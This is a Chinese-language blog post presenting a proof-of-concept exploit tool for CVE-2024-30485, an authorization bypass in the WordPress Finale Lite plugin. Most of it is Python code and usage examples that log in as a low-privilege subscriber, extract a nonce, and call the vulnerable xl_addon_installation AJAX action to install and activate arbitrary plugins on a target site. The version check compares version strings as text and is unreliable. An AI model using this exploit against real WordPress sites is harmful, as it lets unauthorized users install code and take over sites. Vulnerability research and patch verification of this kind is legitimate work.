WordPress Finale Lite 插件高危漏洞检测与利用工具 (CVE-2024-30485)

WordPress Finale Lite 插件高危漏洞检测与利用工具 (CVE-2024-30485)

项目描述

本项目提供了一个针对 WordPress Finale Lite 插件(版本号 <= 2.18.0)中高危授权绕过漏洞(CVE-2024-30485)的安全检测与概念验证工具。

该漏洞源于插件的xl_addon_installation AJAX接口缺少必要的权限检查,允许已登录的订阅者(Subscriber)级别及以上用户,在未获得管理员授权的情况下,远程安装并激活任意插件。此工具可用于安全研究人员快速验证目标系统的脆弱性,理解漏洞原理,并评估其潜在风险。

项目信息 详情
漏洞编号 CVE-2024-30485
威胁等级 高危 (CVSS 8.8)
影响版本 Finale Lite <= 2.18.0
漏洞类型 授权绕过 (CWE-862)
所需权限 WordPress 订阅者 (Subscriber) 及以上

功能特性

  • 身份验证:支持使用有效的WordPress用户凭证(用户名/密码)进行登录,获取操作权限。
  • 安全令牌提取 :自动从目标页面的HTML/JavaScript中提取执行敏感操作所需的nonce(一次性令牌)。
  • 任意插件安装 :利用漏洞接口,向目标站点安装指定的插件(如hello-dolly, akismet等)。
  • 插件自动激活:在插件安装成功后,自动发起激活请求,使插件生效,最大化漏洞影响。
  • 多种预置插件:脚本内置了多个常见插件的slug与入口文件映射,方便测试。

安装指南

系统要求

  • Python 3.x
  • 需要具备对目标WordPress站点的网络访问权限

依赖项安装

本项目依赖requests和beautifulsoup4库。您可以使用pip来安装所需依赖。

bash 复制代码
# 推荐使用虚拟环境
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# .\venv\Scripts\activate  # Windows

# 安装依赖
pip install requests beautifulsoup4

获取工具代码

将脚本保存为 CVE-2024-30485.py 即可使用。

使用说明

命令行参数

参数 简写 类型 是否必需 描述
--url -u 字符串 是 目标WordPress站点的根URL
--username -U 字符串 是 用于登录的WordPress用户名
--password -P 字符串 是 用于登录的WordPress密码
plugin (位置参数) 字符串 否 要安装的插件slug。默认为hello-dolly

基础使用示例

1. 检测漏洞并尝试安装默认插件 (hello-dolly):

bash 复制代码
python3 CVE-2024-30485.py -u https://example.com -U subscriber_user -P strong_password

2. 检测漏洞并尝试安装指定插件 (例如: disable-comments):

bash 复制代码
python3 CVE-2024-30485.py -u https://example.com -U subscriber_user -P strong_password disable-comments

3. 查看完整帮助信息:

bash 复制代码
python3 CVE-2024-30485.py -h

典型工作流程

  1. 用户认证 :使用提供的凭证模拟登录WordPress,获取带有wordpress_logged_in Cookie的会话。
  2. 令牌获取 :访问插件管理页面/wp-admin/admin.php?page=xl-payments,并从返回的HTML/JS中正则匹配提取nonce值。
  3. 利用漏洞 :构造包含action=xl_addon_installation的POST请求,发送至/wp-admin/admin-ajax.php,利用提取到的nonce和指定的插件信息进行安装。
  4. 激活插件:安装成功后,再次发送激活请求,使插件生效。

输出示例

bash 复制代码
[+] Target is vulnerable! Detected version: 2.18.0
[+] Logged in successfully.
[+] Extracted Nonce: 2b46e05bc0
[+] Plugin 'disable-comments' installed successfully!
[+] Plugin 'disable-comments' activated successfully!

核心代码

漏洞版本检测

python 复制代码
def check_vulnerability(url):

    response = requests.get(version_url, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
    if response.status_code == 200:
        match = re.search(r"Stable tag: ([0-9\.]+)", response.text)
        if match:
            version = match.group(1)
            if version <= "2.18.0":
                print(f"[+] Target is vulnerable! Detected version: {version}")
                return True
    print("[-] Target is not vulnerable or version check failed.")
    return False

漏洞利用核心逻辑

此部分演示了如何利用缺失授权的xl_addon_installation AJAX接口进行任意插件安装。

python 复制代码
def install_plugin(url, session, nonce, plugin_slug, plugin_file):
    installed_plugins_url = f"{url}/wp-admin/plugins.php"
    response = session.get(installed_plugins_url, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
    if plugin_slug in response.text:
        print(f"[+] Plugin '{plugin_slug}' is already installed. Skipping installation.")
    else:
        install_url = f"{url}/wp-admin/admin-ajax.php"
        # 关键利用点:构造 xl_addon_installation 请求
        install_data = {
            "action": "xl_addon_installation",  # 易受攻击的 action
            "xl_slug": plugin_slug,
            "xl_file": plugin_file,
            "nonce": nonce
        }
        response = session.post(install_url, data=install_data, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
        # 检查安装是否成功
        if "Plugin installed successfully!" in response.text or "already installed" in response.text:
            print(f"[+] Plugin '{plugin_slug}' installed successfully!")
            return True
    return False

安全令牌(Nonce)提取

脚本通过正则表达式从插件设置页面的响应内容中提取用于授权的nonce值。

python 复制代码
def get_nonce(url, session):
    settings_url = f"{url}/wp-admin/admin.php?page=xl-payments"
    response = session.get(settings_url, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
    # 从页面JavaScript或HTML中匹配 nonce 值
    match = re.search(r'"nonce":"([a-f0-9]+)"', response.text)
    if match:
        print(f"[+] Extracted Nonce: {match.group(1)}")
        return match.group(1)
    print("[-] Failed to extract Nonce.")
    return None

插件激活

在安装成功后,利用WordPress的标准激活流程和之前获取的nonce来激活插件,完成整个攻击链。

python 复制代码
def activate_plugin(url, session, nonce, plugin_slug):
    activate_url = f"{url}/wp-admin/admin-ajax.php"
    activate_data = {
        "action": "activate-plugin",        # 标准的插件激活action
        "plugin": f"{plugin_slug}/{plugin_slug}.php",
        "_wpnonce": nonce                   # 复用之前提取的nonce
    }
    response = session.post(activate_url, data=activate_data, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
    if "Plugin activated" in response.text or "activated successfully" in response.text:
        print(f"[+] Plugin '{plugin_slug}' activated successfully!")
    else:
        print("[-] Failed to activate plugin.")

6HFtX5dABrKlqXeO5PUv/xFe0Y10EdWNEZGHtzXMDCs=

更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)

对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

相关推荐
zhangzeyuaaa几秒前
深入 Ruby:Block、Proc、Lambda 核心区别与最佳实践
开发语言·前端·ruby
for_ever_love__7 分钟前
模块与包——import 机制与 requirements 管理依赖
python·模块·大模型开发·依赖管理
郝学胜-神的一滴8 分钟前
AI 编程智能体 05:拆解智能体分级体系、类型与全行业落地场景
开发语言·人工智能·python·程序人生·pycharm
小小张说故事11 分钟前
Python 装饰器把函数"搞丢"了?5 个必踩的坑与完整避坑对照表
后端·python
赛博守夜人14 分钟前
跨境业务与出海合规之六:跨境数据出境与《个保法》/GDPR 冲突下的数据安全架构,技术隔离与加密信道实践
安全·安全架构
for_ever_love__22 分钟前
容器类型全家桶——list、tuple、dict、set 与推导式
python·容器·数据类型·大模型开发
外收内放29 分钟前
Python基础语法练习题(43-44)
开发语言·python
liangshanbo121530 分钟前
前端高级面试题:WebSocket 双向流式通信怎么设计?
前端·websocket·网络协议
10年前端老司机32 分钟前
LangChain 五种工具定义方式踩坑总结
python·langchain·llm
坤坤子吖33 分钟前
Python基础语法学习:列表和元组
开发语言·笔记·python·学习